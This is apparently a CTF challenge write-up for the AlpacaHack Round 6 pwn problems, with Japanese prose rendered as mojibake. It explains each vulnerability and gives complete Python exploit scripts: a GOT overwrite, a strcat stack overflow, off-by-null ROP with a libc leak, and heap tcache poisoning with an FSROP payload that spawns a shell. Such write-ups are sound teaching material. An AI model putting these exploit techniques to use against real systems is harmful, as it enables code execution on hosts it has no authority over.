ã¯ããã«
AlpacaHackã¯keymoonã¨minaminaoãéçºããCTFãã©ãããã©ã¼ã ã§ãç¾å¨ã¯å人æ¦ãã¡ã¤ã³ã«ãã宿CTFãéå¬ããã¦ãã¾ãã ã¾ããéå»å¤§ä¼ã®åé¡ã«ãææ¦ã§ããããã復ç¿ã«ã便å©ãªãµã¤ãã§ãã*1 ä»åã®åé¡ãè§£ãç´ããã¨ãã§ãã¾ãã®ã§ãåå ãéããæ¹ãææ¦ãã¦ã¿ã¦ãã ããã
âããã¾ã§å®åæ
inbound (57 solves)
å顿¦è¦
ã°ãã¼ãã«å¤æ°ã«å®ç¾©ãããintåé
åslot
ã«å¤ã1ã¤å
¥ãããã¾ãã
int slot[10]; ... int main() { int index, value; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("index: "); scanf("%d", &index); if (index >= 10) { puts("[-] out-of-bounds"); exit(1); } printf("value: "); scanf("%d", &value); slot[index] = value; for (int i = 0; i < 10; i++) printf("slot[%d] = %d\n", i, slot[i]); exit(0); }
ããã°ã©ã ã«ã¯ãã©ã°ãåºåããwin
颿°ãå®ç¾©ããã¦ããããããå¼ã³åºããã¨ãç®çã§ãã
/* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); }
checksecã§ã»ãã¥ãªãã£æ©æ§ã確èªããã¨ãPartial RELRO, No canary*2, No PIEã§ãããã¨ã確èªã§ãã¾ãã
$ checksec ./inbound Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
èå¼±æ§
slotã«ã¢ã¯ã»ã¹ããã¤ã³ãã¯ã¹ãå ¥åãããã¨ãããã10以ä¸ã§ããå ´åã¯ç¯å²å¤åç §ã¨ãã¦ããã°ã©ã ãçµäºãã¾ãã
int index, value; ... printf("index: "); scanf("%d", &index); if (index >= 10) { puts("[-] out-of-bounds"); exit(1); }
ããããindex
ã¯intåã§å®ç¾©ããã¦ãããããè² æ°ã§ããããæ¤æ»ãã¹ãã§ãã
slot
ãããè² ã®æ¹åã«ä½ãããããgdbã§ç¢ºèªãã¦ã¿ã¾ãããã
ããã¤ãããã¾ãããGOT (Global Offset Table)ãæ¸ãæãå¯è½é å*3ã«ããã®ããããã¾ãã
ããã«ã¯libcãªã©ã®å¤é¨ã©ã¤ãã©ãªã®é¢æ°ãå¼ã³åºãã¨ãã«ä½¿ããã颿°ãã¤ã³ã¿ãæ ¼ç´ããã¦ãã¾ãã
ã¤ã¾ãããã颿°ã®GOTãwin
颿°ã®ã¢ãã¬ã¹ã§ä¸æ¸ãããã¨ããã®é¢æ°ãå¼ã°ããã¨ãã«win
颿°ãå¼ã³åºããã¾ãã
ãã®ããã«GOTãæ¸ãæãã¦ä»»æã®é¢æ°ãROP gadgetãªã©ãå¼ã³åºãæ»æãGOT overwriteã¨å¼ã³ã¾ãã
æ»æ
GOT overwriteã¨ããæ¹éãç«ã£ãããæ¬¡ã«ã©ã®é¢æ°ã®GOTã䏿¸ãããããæ±ºãã¾ãã
ã¾ãã颿°ãå¼ã³åºãããå¿
è¦ãããã®ã§ãGOTãæ¸ãæãããã¨ã«å¼ã³åºãã颿°ã§ããå¿
è¦ãããã¾ãã
ã½ã¼ã¹ã³ã¼ãã確èªããã¨ãprintf
ã¨exit
ã該å½ãã¾ãã
... slot[index] = value; for (int i = 0; i < 10; i++) printf("slot[%d] = %d\n", i, slot[i]); exit(0); }
ã§ã¯printf
ã®GOTãwin
颿°ã«æ¸ãæãããã¨ã¯ã§ããã§ããããï¼
æ®å¿µãªããä»åã®åé¡ã§ã¯ä½¿ãã¾ããããªããªããslot
ã¯intåã®é
åã ããã§ãã
printf
ã¯ããã°ã©ã ä¸ã§ãã§ã«ä½åº¦ãå¼ã°ãã¦ãããããlibcä¸ã®printf
颿°ã®ã¢ãã¬ã¹ã«è§£æ±ºããã¦ãã¾ãã
libcã®ã¢ãã¬ã¹ã¯6ãã¤ããããããintåï¼4ãã¤ãï¼ã®æ¸ãæã1度ã§ã¯ä¸ååã§ãã
䏿¹ã§exit
ã¯ã¾ã å¼ã³åºããã¦ããªããããã¢ãã¬ã¹ã解決ããã¦ãã¾ããã
ä»åã®ããã°ã©ã ã¯No PIEï¼ããã°ã©ã èªèº«ã®ã¢ãã¬ã¹ã¯åºå®ï¼ã§ãããNo PIEã®å ´åã¢ãã¬ã¹ã¯é常3ãã¤ãã«åã¾ãç¯å²ã«ç½®ããã¾ã*4ã
ãããã£ã¦ãexit
ã®GOTã§ããã°intå¤ã®æ¸ãè¾¼ã¿ã§ãwin
颿°ã®ã¢ãã¬ã¹ã«å¶å¾¡ãããã¨ãã§ãã¾ãã
from ptrlib import * import os HOST = os.getenv("HOST", "localhost") PORT = int(os.getenv("PORT", "9999")) elf = ELF("../distfiles/inbound") sock = Socket(HOST, PORT) sock.sendlineafter("index: ", -14) sock.sendlineafter("value: ", elf.symbol("win")) sock.sh()
catcpy (41 solves)
å顿¦è¦
ã°ãã¼ãã«ãããã¡ã«ãã¼ã¿ãå
¥ãããã¨ãmain
颿°ã®ãã¼ã«ã«ãããã¡ã«strcpy
ãstrcat
ã使ã£ã¦ã³ãã¼ã§ãã¾ãã
char g_buf[0x100]; ... int main() { int choice; char buf[0x100]; memset(buf, 0, sizeof(buf)); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); puts("1. strcpy\n" "2. strcat"); while (1) { printf("> "); if (scanf("%d%*c", &choice) != 1) return 1; switch (choice) { case 1: get_data(); strcpy(buf, g_buf); break; case 2: get_data(); strcat(buf, g_buf); break; default: return 0; } } }
èå¼±æ§
両æ¹ã¨ããããã¡ã®ãµã¤ãºã¯0x100ãªã®ã§strcpy
ã¯åé¡ããã¾ããã
ããããstrcat
ã¯ãããã¡ãµã¤ãºã«é¢ä¿ãªããã¼ã¿ãä»å ãã¦ãã¾ããããã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼ãçºçãã¾ãã
ä»åã®åé¡ã¯stack canaryããªãã®ã§ãmain
颿°ã®ãªã¿ã¼ã³ã¢ãã¬ã¹ãwin
颿°ã®ã¢ãã¬ã¹ã«æ¸ãæãããã¨ãç®æ¨ã«ãã¾ãããã
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
æ»æ
ãªã¿ã¼ã³ã¢ãã¬ã¹ãæ¸ãæããä¸ã§2ã¤åé¡ãããã¾ãã
- NULLçµç«¯ãªã®ã§6ãã¤ãã®ãªã¿ã¼ã³ã¢ãã¬ã¹ã1度ã«3ãã¤ãã®
win
颿°ã®ã¢ãã¬ã¹ã«ã§ããªã fgets
ã§å ¥åãåãåããããçµç«¯ã«æ¹è¡ã³ã¼ããå ¥ã£ã¦ãã¾ã
1ã¤ãã®åé¡ã¯ãä½åº¦ãstrcat
ãå¼ã³åºããã¨ã§è§£æ±ºã§ãã¾ããã¯ããã«é©å½ãªé·ãã®æååã§ãªã¿ã¼ã³ã¢ãã¬ã¹ã®å¾åãNULLãã¤ããæ½°ããé·ãã1ãã¤æ¸ããã¦ãããã¨ã§NULLãã¤ããå¾ãããé£ç¶ãã¦æ¸ãè¾¼ãã¾ãã
2ã¤ãã®åé¡ã¯ãfgets
ã«æå¤§éã®å
¥åãå
¥ãããã¨ã§è§£æ±ºã§ãã¾ããfgets
ã¯é常æ¹è¡ã³ã¼ãã§çµç«¯ãã¾ããããåãä»ããå
¥åãµã¤ãº-1ãã®é·ããå
¥åã¨ãã¦ä¸ããã¨ãæå¾ãNULLçµç«¯ã¨ãã¦æ¹è¡ã³ã¼ããå
¥ããã¨ãªãå
¥åã§ãã¾ãã
ãããã£ã¦ãã¾ãé©åº¦ãªé·ãã®å
¥åã§ãªã¿ã¼ã³ã¢ãã¬ã¹ã®é«ä½ããããNULLåãããæ¬¡ã«fgetsã«æå¤§éã®å
¥åãä¸ãããã¨ã§win
颿°ã®ã¢ãã¬ã¹ãæ£ããä¸ãããã¾ãã
from ptrlib import * import os HOST = os.getenv("HOST", "localhost") PORT = int(os.getenv("PORT", 9999)) elf = ELF("../distfiles/catcpy") sock = Socket(HOST, PORT) # Fill with NULL for i in range(2): sock.sendlineafter("> ", "1") sock.sendlineafter("Data: ", "A"*0x7f) sock.sendlineafter("> ", "2") sock.sendlineafter("Data: ", "A"*(0x98 + (4 - i))) # Overwrite return address sock.sendlineafter("> ", "1") sock.sendlineafter("Data: ", "A"*0x1b) sock.sendlineafter("> ", "2") # Send maximum amount so that fgets will not terminate with a newline sock.sendafter("Data: ", b"A"*(0x100-4) + p32(elf.symbol("win"))[:3]) sock.sendlineafter("> ", "3") sock.sh()
wall (21 solves)
å顿¦è¦
ã¡ãã»ã¼ã¸ã¨ååãå ¥åã§ããã ãã®ããã°ã©ã ã§ãã
#include <stdio.h> #include <stdlib.h> char message[4096]; void get_name(void) { char name[128]; printf("What is your name? "); scanf("%128[^\n]%*c", name); printf("Message from %s: \"%s\"\n", name, message); } int main(int argc, char **argv) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("Message: "); scanf("%4096[^\n]%*c", message); get_name(); return 0; }
ã»ãã¥ãªãã£æ©æ§ã¯ããã¾ã§ã®åé¡ã¨åæ§ã«No PIE, No canary, Partial RELROã§ãã
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
èå¼±æ§
get_name
颿°ãè¦ãã¨ã128ãã¤ãã®ãããã¡ã«å¯¾ãã¦scanf
ã§128ãã¤ãã®ãã¼ã¿ãå
¥åãã¦ãã¾ãã
ããããscanf
ã§æååãå
¥åããã¨ãã¯ä¸ãããããµã¤ãºã«é¢ä¿ãªãNULLçµç«¯ãå¼·è¦ãããããNULLãã¤ãã1ãã¤ãã ããããã¡ã®å¤ã«æ¸ãè¾¼ãã¦ãã¾ãã¾ãã
ãã®ãããªèå¼±æ§ãoff-by-nullã¨å¼ã³ã¾ãã
æ»æ
ROP (Return Oriented Programming)
ä»åã®ããã°ã©ã ãgdbãªã©ã§è§£æããã¨ãæ¸ãæããããã®ã¯get_name
ã®ã¹ã¿ãã¯ãã¬ã¼ã ã«ä¿åãããrbpã¬ã¸ã¹ã¿ã§ãããã¨ããããã¾ãã
get_name
ã¨main
ã®æ©æ¢°èªãèªãã¨ãããããleave; ret;
å½ä»¤ã§ãªã¿ã¼ã³ãã¦ãã¾ãã
leave
å½ä»¤ã¯ä»¥ä¸ã®å½ä»¤åã¨ç価ã§ãã
mov rsp, rbp pop rbp
ãããã£ã¦ãoff-by-nullãèµ·ããã¨15/16ã®ç¢ºçï¼ãã¨ãã¨saved rbpã®æä¸ä½ãã¤ãã0ã§ãªãã£ãå ´åï¼ã§main
颿°ã«æ»ã£ãã¨ãã®RSPãå£ãã¾ãã
ç¹ã«ãsaved rbpã®æä¸ä½ãã¤ãã大ããã£ãå ´åãRSPãæ¬æ¥ã®å ´æãã大ããä½ãã¢ãã¬ã¹ã«ããããã¨ã«ãªãã¾ãã
ä½ãã¢ãã¬ã¹ã¯get_name
ã®ã¹ã¿ãã¯ãã¬ã¼ã ããã£ãå ´æã§ãããããã«ã¯name
ãããã¡ãããã¾ãã
ãããã£ã¦ãmain
颿°ãããªã¿ã¼ã³ããåã«get_name
ã®name
ãããã¡ä¸ã®ãã¼ã¿ããªã¿ã¼ã³ã¢ãã¬ã¹ã¨ãã¦è§£éãã¦ãã¾ãå¯è½æ§ããããROPãå¯è½ã§ãã
name
ãããã¡ã®ä¸è¦ãªç®æã«ã¯retå½ä»¤ã®gadgetãæ·ãè©°ãã¦ãããã¨ã§ããã®å¨è¾ºã®ã©ãããROPãå§ã¾ã£ã¦ãretå½ä»¤ã®é¨åã¯ã¹ãããããããããROPã®æå確çãä¸ããã¾ãã
Libcãªã¼ã¯
è¿å¹´ã¯pop rdi; ret;
gadgetããªããªã£ã¦ãã¾ã£ããããpop rbp; ret;
gadgetã§libcã®ã¢ãã¬ã¹ããªã¼ã¯ããã¾ãããã
ãã¼ã«ã«å¤æ°ãåºåããç®æã§ã¯rbpã使ãããã®ã§ãget_name
ã®åºåç®æã対象ã«ãã¾ããã
rbp-0x80
ã®ã¢ãã¬ã¹ã弿°ã«æ¸¡ãã¦ããã®ã§ããªã¼ã¯ãããã¢ãã¬ã¹+0x80ãrbpã«è¨å®ãã¦ãããå¼ã³åºãã°è¯ãã§ãã
GOT overwrite
Libcã®ã¢ãã¬ã¹ããªã¼ã¯ãããå度main
ã«æ»ã£ã¦ROPããããã¨ããã§ãããç¾å¨ã®ã¹ã¿ãã¯ãã¤ã³ã¿ãBSSãæãã¦ããããé£ããã§ãã
printf
ãããªãã®éã®ã¹ã¿ãã¯ã使ããããã©ããã¦ãèªã¿è¾¼ã¿å°ç¨é åã«ã¹ã¿ãã¯ãã¤ã³ã¿ãç§»åãã¦ãã¾ãã¾ãã
ããã§ãPartial RELROã§ããç¹æ§ã使ã£ã¦GOT overwriteãããã¨ãèãã¾ãã
Libcãªã¼ã¯ã¨åæ§ã«ãscanf
ã®å°ãåããå¼ã³åºããã¨ã§èªç±ãªã¢ãã¬ã¹ã«scanf
ã§ãã¼ã¿ãæ¸ãè¾¼ããã¨ãã§ãã¾ãã
æ³å®è§£ã®exploitã§ã¯setbuf
颿°ã®GOTãsystem
颿°ã«ç½®ãæããstderr
ã®å ´æã«å¼ã³åºãããã³ãã³ããæ¸ãè¾¼ãã§ãã¾ãã
ããã«ãããã¹ã¿ãã¯ãå¯¾è±¡ã«æ¶è²»ãããã¨ãªãsystem
颿°ãå¼ã³åºãã¾ãã
Exploitã³ã¼ã
以ä¸ãæ³å®è§£ã®exploitä¾ã«ãªãã¾ãã
from ptrlib import * import os HOST = os.getenv("HOST", "localhost") PORT = int(os.getenv("PORT", 9999)) libc = ELF("../distfiles/libc.so.6") elf = ELF("../distfiles/wall") while True: sock = Socket(HOST, PORT) rop = p64(next(elf.gadget("pop rbp; ret;"))) rop += p64(elf.got("setbuf") + 0x80) rop += p64(0x401196) payload = p64(next(elf.gadget("ret"))) * ((4096 - len(rop)) // 8) payload += rop assert b"\n" not in payload sock.sendlineafter(": ", payload) rop = p64(next(elf.gadget("pop rbp; ret;"))) rop += p64(elf.got("printf") + 0x80) rop += p64(0x4011b1) payload = p64(next(elf.gadget("ret"))) * ((0x80 - len(rop)) // 8) payload += rop assert b"\n" not in payload sock.sendlineafter("? ", payload) sock.recvline() try: r = sock.recvregex("from (.+): \"", timeout=0.5) except (TimeoutError, ConnectionResetError): logger.warning("Bad luck!") continue libc.base = u64(r[0]) - libc.symbol("printf") payload = p64(libc.symbol("system")) # setbuf@got -> system payload += p64(elf.symbol("main")) # printf@got -> main payload += p64(0) * 6 payload += p64(libc.symbol("_IO_2_1_stdout_")) + p64(0) payload += p64(libc.symbol("_IO_2_1_stdin_")) + p64(0) payload += p64(next(libc.find("/bin/sh"))) assert b"\n" not in payload sock.sendline(payload) sock.sendline("cat /flag*") sock.sh() break
ã¹ã¿ãã¯ã®æ¶è²»ãåé¿ããã¨ããè¤éãªexploitã ã£ãããä½å彿ã¯hardæ³å®ã§ããããããç°¡åã«libc leakã§ããæ¹æ³ãããããã¬ãã¥ã¼æ®µéã§mediumã«ä¸ãã£ãããã§ãã ãã§ã«writeupãAlpacaHackã«æç¨¿ãã¦ããã¦ããæ¹ããããããªã®ã§ãç°¡åãªæ¹æ³ã«ã¤ãã¦ã¯è§£ãã¦ãããæ¹ã®writeupãæ¯éèªãã§ã¿ã¦ãã ããã
Writeups - AlpacaHack Round 6 (Pwn)
ideabook (10 solves)
å顿¦è¦
æå¾ã¯ããããnoteå½¢å¼ã®ãã¼ãåã§ãã noteã®ãµã¤ãºã¨ãã¤ã³ã¿ã¯ã°ãã¼ãã«å¤æ°ã§ç®¡çããã¦ãã¾ãã
unsigned short size_list[MAX_NOTE]; unsigned char *note_list[MAX_NOTE];
ããã«å¯¾ãã¦create, edit, read, deleteã®4ã¤ã®æ©è½ãããã¾ãã
èå¼±æ§
noteã®ã¤ã³ãã¯ã¹ãåå¾ããã¨ãã以ä¸ã®ããã«ã¤ã³ãã¯ã¹ãæ¤æ»ãã¦ãã¾ãã
size_t get_index() { size_t idx; idx = get_val("Index: "); if (idx > sizeof(size_list)) { puts("[-] Invalid index"); exit(1); } return idx; }
é
åã«å¯¾ããsizeof
ã¯é
åã®é·ããè¿ãã®ã§ã¯ãªãããã¼ã¿ãµã¤ãºãè¿ããããç¯å²å¤åç
§ãçºçãã¾ãã
ï¼æ¬æ¥ã¯>=
ã§ããã¹ãã¨ããã>
ã«ãªã£ã¦ããã®ãåé¡ã§ããï¼
ã¡ã¢ãªã確èªããã¨ãsize_list
ã¯æ¬¡ã®ããã«ãªã£ã¦ãã¾ãã
åè¦ç´ ã®åã¯unsigned short
ã®2ãã¤ãã§ããã®ã¡ã¢ãªã¬ã¤ã¢ã¦ãã§ã¯note_list[0]
ã®ä¸ä½2ãã¤ããæ¸ãæãããã¦ãã¾ãã¾ãã
ã¾ãå対ã«ãnote_list[0]
ãã»ãããããã¨ã§ã¤ã³ãã¯ã¹=16ã®ãµã¤ãºãå£ãã¾ãã
æ»æ
ã¾ãã¤ã³ãã¯ã¹=16ã«ãµã¤ãº0ã®noteãä½ãã¾ãããã®å¾ã¤ã³ãã¯ã¹=0ã«é©å½ãªãã¼ã¿ãä½ããã¨ã§ãã¤ã³ãã¯ã¹=16ã®ãµã¤ãºãå£ãããã¼ããããã¡ãªã¼ãã¼ããã¼ãçºçãã¾ãã
æ³å®è§£ã®ã¨ã¯ã¹ããã¤ãã§ã¯ãã®ãã¼ããããã¡ãªã¼ãã¼ããã¼ãèµ·ç¹ã«libc leakãtcache poisoningããã¾ããã ï¼å½ç¶ããã¤ã³ã¿ãå£ãæ¹åã§ãexploitã¯å¯è½ã§ããããªã¼ãã¼ããã¼ã®æ¹ãç°¡åãªã®ã§ãã¡ããé¸ã³ã¾ãããï¼
Tcacheã®ãªã³ã¯ãªã¹ããç ´å£ããããstderr
ã«åãããã¨ã§stderr
ãç ´å£ããFSROPã«ããã·ã§ã«ãåã£ã¦ãã¾ãã
from ptrlib import * import os HOST = os.getenv("HOST", "localhost") PORT = int(os.getenv("PORT", "9999")) def create(index, size): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", index) sock.sendlineafter(": ", size) def edit(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", index) sock.sendlineafter(": ", data) def read(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", index) sock.recvuntil("Content: ") return sock.recvuntil("> ", drop=True, lookahead=True) def delete(index): sock.sendlineafter("> ", "4") sock.sendlineafter(": ", index) #libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") #sock = Process("./chall") libc = ELF("../distfiles/libc.so.6") sock = Socket(HOST, PORT) # Leak heap create(16, 0x00) create(0, 0x18) create(1, 0x18) delete(1) create(2, 0x100) create(3, 0x100) create(4, 0x100) create(5, 0x100) edit(5, p64(0x21) * (0x100//8 - 1)) # fake chunk size leak = read(16) heap_base = u64(leak[0x40:0x48]) << 12 logger.info("heap = " + hex(heap_base)) # Leak libc create(1, 0x18) edit(16, b"A"*0x18 + p64(0x21) + b"B"*0x18 + p64(0x421)) # overwrite chunk size delete(1) # link to unsortedbin leak = read(16) libc.base = u64(leak[0x40:0x48]) - libc.main_arena() - 0x60 # Corrupt tcache link create(6, 0xe0) create(7, 0xe0) delete(7) delete(6) target = libc.symbol("_IO_2_1_stderr_") edit(16, b"A"*0x18 + p64(0x21) + b"B"*0x18 + p64(0xf1) + p64(target ^ (heap_base >> 12))) # Overwrite stderr create(6, 0xe0) create(7, 0xe0) payload = p32(0xfbad0101) + b";sh\0" # fp->_flags & _IO_UNBUFFERED == 0) payload += b"\x00" * (0x58 - len(payload)) payload += p64(libc.symbol("system")) # vtable->iowalloc payload += b"\x00" * (0x88 - len(payload)) payload += p64(libc.symbol("_IO_2_1_stderr_") - 0x10) # _wide_data (1) payload += b"\x00" * (0xa0 - len(payload)) payload += p64(libc.symbol("_IO_2_1_stderr_") - 0x10) # _wide_data (1) payload += b"\x00" * (0xc0 - len(payload)) payload += p32(1) # fp->_mode != 0 payload += b"\x00" * (0xd0 - len(payload)) payload += p64(libc.symbol("_IO_2_1_stderr_") - 0x10) # (1) _wide_data->vtable payload += p64(libc.symbol("_IO_wfile_jumps") + 0x18 - 0x58) # _IO_wfile_jumps + delta edit(7, payload[:-1]) sock.sendlineafter("> ", "5") sock.sendline("cat /flag*") sock.sh()
*1:CTFã¯æ®é大ä¼ãçµããã¨åé¡ãã¡ã¤ã«ããµã¼ãã¼ã忢ãã¦ãã¾ãè§£ãç´ããé£ããã®ã§ãããã¯ãããããæ©è½
*2:ãã¼ã«ã«å¤æ°ã§é åãªã©ã使ã£ã¦ããªãå ´åãgccã®å¤æã§èªåçã«ç¡å¹åããã¾ã
*3:Full RELROã§ãªããã°æ¸ãæãå¯è½ã§ã
*4:GCCã®å ´åã§ãããã³ã³ãã¤ã«æã®è¨å®ã§å¤ãããã¨ãã§ãã¾ã